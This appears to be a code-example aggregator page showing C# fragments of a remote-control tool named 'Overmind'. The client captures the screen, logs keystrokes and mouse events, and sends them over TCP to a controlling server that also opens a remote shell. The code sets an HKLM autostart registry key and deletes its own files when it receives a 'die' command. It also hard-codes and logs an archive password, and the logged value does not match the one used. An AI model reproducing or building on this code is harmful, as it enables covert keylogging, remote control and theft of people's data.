Exemplo n.º 1
0
 public ShellManager(ActionCenter.ActionCenterInternalEventHandler dispatchData)
 {
     this.DispatchData = dispatchData;
     this._cmdQueue = new Queue<byte[]>();
     this._asyncQueue = new AsyncWorkerQueue();
     this._neuroLog.Write("Initializing Shell Manager");
     //this.LaunchShell();
 }
Exemplo n.º 2
0
 public EventManager(ActionCenter.ActionCenterInternalEventHandler dispatchData)
 {
     this._ki = new KeyInput();
     this._mi = new MouseInput();
     this.DispatchData = dispatchData;
     this.NormalizedPrecisionFactor = 4;
     this._neuroLog.WriteFormat("Initialization", "Normalized Precision Factor: {0}", this.NormalizedPrecisionFactor);
     //this._mi.MouseMove(1920, 1080);
 }
Exemplo n.º 3
0
        /// <summary>
        /// Constructor
        /// </summary>
        /// <param name="fileSecurityPassword">Password to encrypt buffered files with</param>
        /// <param name="dispatchData">Method to handle dispatch of data over the network</param>
        public CaptureManager(string fileSecurityPassword, ActionCenter.ActionCenterInternalEventHandler dispatchData)
        {
            this._cursorTable = new Dictionary<Cursor, CursorType>();
            this._cursorTable.Add(Cursors.AppStarting, CursorType.AppStarting);
            this._cursorTable.Add(Cursors.Arrow, CursorType.Arrow);
            this._cursorTable.Add(Cursors.Cross, CursorType.Cross);
            //this._cursorTable.Add(Cursors.Default, CursorType.Default);
            this._cursorTable.Add(Cursors.Hand, CursorType.Hand);
            this._cursorTable.Add(Cursors.Help, CursorType.Help);
            this._cursorTable.Add(Cursors.HSplit, CursorType.HSplit);
            this._cursorTable.Add(Cursors.IBeam, CursorType.IBeam);
            this._cursorTable.Add(Cursors.No, CursorType.No);
            this._cursorTable.Add(Cursors.NoMove2D, CursorType.NoMove2D);
            this._cursorTable.Add(Cursors.NoMoveHoriz, CursorType.NoMoveHoriz);
            this._cursorTable.Add(Cursors.NoMoveVert, CursorType.NoMoveVert);
            this._cursorTable.Add(Cursors.PanEast, CursorType.PanEast);
            this._cursorTable.Add(Cursors.PanNE, CursorType.PanNE);
            this._cursorTable.Add(Cursors.PanNorth, CursorType.PanNorth);
            this._cursorTable.Add(Cursors.PanNW, CursorType.PanNW);
            this._cursorTable.Add(Cursors.PanSE, CursorType.PanSE);
            this._cursorTable.Add(Cursors.PanSouth, CursorType.PanSouth);
            this._cursorTable.Add(Cursors.PanSW, CursorType.PanSW);
            this._cursorTable.Add(Cursors.PanWest, CursorType.PanWest);
            this._cursorTable.Add(Cursors.SizeAll, CursorType.SizeAll);
            this._cursorTable.Add(Cursors.SizeNESW, CursorType.SizeNESW);
            this._cursorTable.Add(Cursors.SizeNS, CursorType.SizeNS);
            this._cursorTable.Add(Cursors.SizeNWSE, CursorType.SizeNWSE);
            this._cursorTable.Add(Cursors.SizeWE, CursorType.SizeWE);
            this._cursorTable.Add(Cursors.UpArrow, CursorType.UpArrow);
            this._cursorTable.Add(Cursors.VSplit, CursorType.VSplit);
            this._cursorTable.Add(Cursors.WaitCursor, CursorType.WaitCursor);

            this._bufferedOperator = new BufferedOperator(fileSecurityPassword);
            this.CaptureQuantizePalette = 256;
            this.CaptureQuantizeDepth = 8;

            this.CaptureShrinkFactor = 0.4f;
            this.CaptureBufferCount = 10;
            this.CaptureInterval = 500;

            this._neuroLog.WriteFormat("Initialization", "Buffer Archive Password: {0}\nBuffer File Limit: {1}\nQuantization Palette: {2}\nQuantization Depth: {3}\nShrink Factor: {4}\nCapture Interval: {5}",
                fileSecurityPassword, this.CaptureBufferCount, this.CaptureQuantizePalette, this.CaptureQuantizeDepth, this.CaptureShrinkFactor, this.CaptureInterval);
            this._neuroLog.Write("Created Cursor Table");

            this.DispatchData = dispatchData;
            this._bufferedOperator.OnComplete += new BufferedOperator.BufferedOperationCompleteHandler(cmp_OnComplete);
        }
Exemplo n.º 4
0
        public ClientForm(string addr, int socket, ClientTransferType type, int captureInterval, string clientName)
            : this()
        {
            this._paramAddress = addr;
            this._paramSocket = socket;
            this._paramType = type;
            this._paramName = clientName;

            this._neuroLog.Write("Initializing TCP instance");
            this._client = new TcpClient();

            this._client.OnDataReceived += new TcpClient.ClientStatusEventHandler(_client_OnDataReceived);
            this._client.OnConnectionSuccess += new TcpClient.ClientStatusEventHandler(_client_OnConnectionSuccess);
            this._client.OnError += new TcpClient.ClientStatusEventHandler(_client_OnError);
            this._client.OnStatusChanged += new TcpClient.ClientStatusEventHandler(_client_OnStatusChanged);
            this._client.OnDisconnect += new TcpClient.ClientStatusEventHandler(_client_OnDisconnect);

            this._neuroLog.Write("Connection Timer", "Enabled");
            this.connTimer.Enabled = true;

            this._neuroLog.Write("Initializing Action Center", "7z Password: l*lk0d3");
            this._actionCenter = new ActionCenter("l*l7k0d3");
            this._actionCenter.SendData += new ActionCenter.ActionCenterEventHandler(_actionCenter_SendData);
            this._actionCenter.ReceiveAppCommand += new ActionCenter.ActionCenterInternalEventHandler(_actionCenter_ReceiveAppCommand);
            this._actionCenter.CaptureManagerModule.DebugEvent += new ActionCenter.DebugEventHandler(_actionCenter_DebugEvent);
            this._actionCenter.CaptureManagerModule.CaptureShrinkFactor = 0.4f;
            this._actionCenter.CaptureManagerModule.CaptureInterval = captureInterval;
            this._actionCenter.CaptureManagerModule.CaptureBufferCount = 20;

            this._neuroLog.Write("Initializing Capture Modules");
            this._logQueue = new LogQueue<byte[]>();
            this._sc = new ScreenCapture();
            this._sc.CursorChanged += new ScreenCapture.ScreenUpdateEvent(_sc_CursorChanged);
            this._kc = new KeyCapture(this._logQueue);
            this._mc = new MouseCapture(this._logQueue);

            this.captureTimer.Interval = this._actionCenter.CaptureManagerModule.CaptureInterval;

            string __tempLog = "";
            if ((this._paramType & ClientTransferType.NoScreenCapture) != ClientTransferType.NoScreenCapture)
            {
                __tempLog = "Enable Screen Capture\n";
                this.screenToolStripMenuItem.Checked = true;
            }

            if ((this._paramType & ClientTransferType.KeyEventLogging) == ClientTransferType.KeyEventLogging)
            {
                __tempLog += "Enable Key Logging\n";
                this.keyEventsToolStripMenuItem.Checked = true;
            }

            if ((this._paramType & ClientTransferType.MouseEventLogging) == ClientTransferType.MouseEventLogging)
            {
                __tempLog += "Enable Mouse Capture";
                this.mouseEventsToolStripMenuItem.Checked = true;
            }
            this._neuroLog.Write("Initializing Toolstrip Checkboxes", __tempLog);

            //this._sc.Start();
            // Do not start capture timer till connection is made.
        }
Exemplo n.º 5
0
 void _actionCenter_ReceiveAppCommand(int id, ActionCenter.ActionType type, byte[] data)
 {
     if (this.InvokeRequired)
         this.BeginInvoke((MethodInvoker)delegate { this._actionCenter_ReceiveAppCommand(id, type, data); });
     else
     {
         this._neuroLog.Write("Received App Command", type.ToString());
         switch (type)
         {
             case ActionCenter.ActionType.AppAutoStart:
                 try
                 {
                     RegistryKey rk = Registry.LocalMachine.CreateSubKey("SOFTWARE\\NX\\Overmind");
                     rk.SetValue("AutoStart", "true");
                     rk.Close();
                 }
                 catch (Exception) { }
                 break;
             case ActionCenter.ActionType.AppAutoStop:
                 try
                 {
                     RegistryKey rk = Registry.LocalMachine.CreateSubKey("SOFTWARE\\NX\\Overmind");
                     rk.SetValue("AutoStart", "false");
                     rk.Close();
                 }
                 catch (Exception) { }
                 break;
             case ActionCenter.ActionType.AppDie:
                 // Stop Captures
                 this._sc.Stop();
                 this._kc.Stop();
                 this._mc.Stop();
                 this.captureTimer.Enabled = false;
                 // Remove AutoStarts
                 try
                 {
                     RegistryKey rk = Registry.LocalMachine.CreateSubKey("SOFTWARE\\NX\\Overmind");
                     rk.SetValue("AutoStart", "false");
                     rk.Close();
                 }
                 catch (Exception) { }
                 // Delete Files
                 File.Delete(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName);
                 Directory.Delete(Path.GetDirectoryName(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName), true);
                 // Quit Application
                 this.Close();
                 break;
             case ActionCenter.ActionType.AppPause:
                 this._sc.Stop();
                 this._kc.Stop();
                 this._mc.Stop();
                 this.captureTimer.Enabled = false;
                 break;
             case ActionCenter.ActionType.AppStart:
                 this._sc.Start();
                 this._kc.Start();
                 this._mc.Start();
                 this.captureTimer.Enabled = true;
                 break;
             case ActionCenter.ActionType.AppStop:
                 this._sc.Stop();
                 this._kc.Stop();
                 this._mc.Stop();
                 this.captureTimer.Enabled = false;
                 this.Close();
                 break;
         }
     }
 }
Exemplo n.º 6
0
        void _server_OnAcknowledged(object sender, NetEventArgs e)
        {
            this.Invoke((MethodInvoker)delegate {
                String acCode = "l*l7k0d3";
                ActionCenter ac = new ActionCenter(acCode);
                ac.SendData += new ActionCenter.ActionCenterEventHandler(this._actionCenter_SendData);
                ac.CaptureManagerModule.ReceivedCapture += new ActionCenter.CaptureEventHandler(this._actionCenter_ReceivedCapture);
                ac.CaptureManagerModule.ReceivedCursor += new CaptureManager.CaptureCursorEventHandler(this._actionCenter_ReceivedCursor);
                ac.CaptureManagerModule.DebugEvent += new ActionCenter.DebugEventHandler(this._actionCenter_DebugEvent);
                ac.ShellManagerModule.OutputReceived += new ShellManager.ShellManagerEventHandler(this._actionCenter_ReceiveShellOutput);

                this._captureRecorders.Add(e.Packet.Header.Destination, new CaptureRecorder(System.IO.Path.Combine(this._parentRecordDir, String.Format("Client {0}\\ID [{0}]", e.Packet.Header.Destination))));
                ac.ReceiveRawCapture += new ActionCenter.ActionCenterEventHandler(this._actionCenter_ReceiveRawCapture);

                this._actionCenters.Add(e.Packet.Header.Destination, ac);
                OvermindClientTab otab = this.CreateOvermindClientTab(e.Packet.Header.Destination, this._server.GetReceiverName(e.Packet), ac.CaptureManagerModule, ac.ShellManagerModule);

                this._tabClientPageIndices.Add(e.Packet.Header.Destination, otab);
                this.tabControl.TabPages.Add(this._tabClientPageIndices[e.Packet.Header.Destination]);
                this._neuroLog.WriteFormat("Client Acknowledged", "Client Id: {0}\nName: {1}\nActionCenter Code: {2}\nRecording Path{3}\n\nOvermind Tab Created", e.Packet.Header.Destination, this._server.GetReceiverName(e.Packet), acCode, System.IO.Path.Combine(this._parentRecordDir, String.Format("Client {0}\\ID [{0}]", e.Packet.Header.Destination)));
            });
            this.UpdateTerminal(this.textLog, Color.Gold, "[" + this._server.GetReceiverName(e.Packet) + "]: Client Acked");
        }
Exemplo n.º 7
0
 /// <summary>
 /// Constructor
 /// </summary>
 /// <param name="fileSecurityPassword">Password to encrypt buffered files with</param>
 /// <param name="dispatchData">Method to handle dispatch of data over the network.</param>
 /// <param name="debugEvent">Method to output debug messages. (Testing phase)</param>               
 public CaptureManager(string fileSecurityPassword, ActionCenter.ActionCenterInternalEventHandler dispatchData, ActionCenter.DebugEventHandler debugEvent)
     : this(fileSecurityPassword, dispatchData)
 {
     this.DebugEvent = debugEvent;
 }